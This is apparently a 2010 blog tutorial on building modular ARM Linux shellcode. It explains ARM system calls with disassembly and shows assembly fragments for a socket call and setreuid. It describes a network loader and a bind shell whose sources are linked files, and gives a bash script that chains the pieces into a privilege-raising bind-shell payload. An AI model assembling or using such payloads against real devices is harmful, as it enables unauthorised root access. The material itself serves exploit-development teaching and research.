ARM Linux shellcode

Hi all! I know it’s been some time since my last post but now I’m back with some hopefully good stuff for ARM microprocessors ;)

I like building my shell code in a modular way so that I can assemble the different blocks separately and then put them together with a couple of bash commands. The first thing I’d like to present is the very-easy-to-code infinite loop.

1:      b 1b

This doesn’t look too impressive but it can be a really useful construct. The infinite loop will allow us to stop the execution of any shellcode we want to test, thus obtaining one bit of information about its behaviour. Sometimes it is really difficult to attach a debugger to an exploited process and the infinite loop is a simple way to see what parts of the shellcode are getting executed. When the flow of execution gets to the infinite loop you will get a 100% CPU utilization, which in turn increases the temperature of the core. You might be developing an exploit for an embedded device with anti-tamper mechanisms and no console access but you can still measure the temperature of the case and see if your shellcode has hit a certain instruction.

Now let’s move on to something more serious. How do we make a Linux system call on an ARM? Going to the microprocessor manual we find that there is a specific instruction for that named SVC. This instruction takes a parameter that used to indicate the syscall but on the latest kernels a different convention is supported as well. For several different reasons on the new ABI the syscall number is put into register R7 and the parameter to SVC is fixed as 0. I prefer to use the old convention in my shellcode as it takes one instruction less (to put the syscall number into R7) and I believe it is easier to read. To see the first of this mechanism in action we can use the following C program:

int main(void)
{
        getuid();
        return 0;
}

After compiling with gcc -static we use objdump -d | less to browse through the generated assembly and search for the main function.

0000829c main:
    829c:       e92d4800        push    {fp, lr}
    82a0:       e28db004        add     fp, sp, #4
    82a4:       eb002d3b        bl      13798 <__getuid>
    82a8:       e3a03000        mov     r3, #0
    82ac:       e1a00003        mov     r0, r3
    82b0:       e8bd8800        pop     {fp, pc}

Here we can clearly see that the getuid function has been assembled at offset 13798 and that precisely will be our next stop:

00013798 __getuid:
   13798:       ef9000c7        svc     0x009000c7
   1379c:       e1a0f00e        mov     pc, lr

The Linux syscalls on the ARM have an offset of 0×00900000 and getuid is syscall number 0xc7, thus the instruction at offset 13798. For this example I have chosen a syscall with no parameters to keep it simple. When we need to pass any parameters we do it on registers R0, R1, and so on. Now that we know how to make system calls we can move on to our first real shellcode:

arm-loader.S

This shellcode is just a loader. It is used when we don’t have much space for the exploit and the best we can do is to load a bit of code that can in turn load the real thing into memory. The shellcode is not NULL-free and no care has been taken to keep it small. However it is quite clean and it works just as it seems to which makes it perfect for an introduction. One of the interesting bits is the call to socket.

        mov %r0, $2             /* AF_INET */
        mov %r1, $1             /* SOCK_STREAM */
        mov %r2, $6             /* IPPRTOTO_TCP */
        push {%r0, %r1, %r2}

        mov %r0, $1             /* socket */
        mov %r1, %sp
        svc 0x00900066

The socket-related calls are a bit special as they all use the same entry point to the kernel i.e. svc 0×00900066. The number of the socket function to be called is passed on R0 as the first argument and the remaining arguments are passed in memory being the value on R1 a pointer to the parameter area. I leave it as an exercise for the reader to work out how the payload is transferred and how it gets laid out on memory.

Now that we have the infinite loop and the loader we can think of bringing up a shell. Here is the code:

arm-bind-listen.S

If you’ve been following the post you won’t find any big surprises in this shellcode. As with the previous one, I’ve tried to focus on clarity and simplicity and the code is quite large and not NULL-free. The working of the shellcode is pretty straight forward:

  1. Create new socket
  2. Bind the socket
  3. Listen on the socket
  4. Accept new connection
  5. Duplicate file descriptors
  6. Execute shell

Another little shellcode we might need is the good old setreuid. This one is very simple so I wont even bother creating a file for you to download:

	mov %r0, $0
	mov %r1, $0
	svc 0x009000cb

Continuing with this philosophy you can write dozens of little shellcodes like these and assemble them into raw binary files. I usually write a small bash script like this one:

for f in `ls *.S`; do
        b=`basename $f .S`

        as $b.S -o $b.elf
        objdump -d $b.elf > $b.asm
        objcopy -O binary $b.elf $b.dump
done

By default the GNU toolchain generates ELF files so we need to do a bit of magic to get the output we want. What I normally do is first assemble the shellcode into an ELF file and then copy the code into a raw file with objcopy. The call to objdump is just something I do to get the disassembled file and compare it to my original .S file. Sometimes there are very interesting differences between the two but that’s a topic for another post.

Now that we have our raw binary files we can do things like generating a shellcode that does a setreuid and the executes a bind shell. We can achieve this with the following line in bash:

$ cat arm-setreuid.dump arm-bind-listen.dump > arm-setreuid-bind.dump

As you can see I use a simple naming scheme to keep track of my shellcodes across different architectures. It just goes ARCHITECTURE-ACTION1-…-ACTIONn.dump. After many years of coding and having one of the worst memories in the industry I’ve found this little trick very useful.

Well, this has been my introduction to ARM shellcodes on Linux, I hope you found it useful. Like always I am open to any comments and suggestions to improve the content of this post or anything on the site.

Happy hacking!

Comments (1)

  1. 12:30 am, October 26, 2010digital  / Reply

    I have just fixed the loader shellcode. In the first version I didn’t do the listen and accept syscalls. Apparently it worked without them on the system for which I wrote the shellcode some time ago and I never took the time to make it more reliable. Sorry for the inconvenience :)

Leave a Reply

Allowed Tags - You may use these HTML tags and attributes in your comment.

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>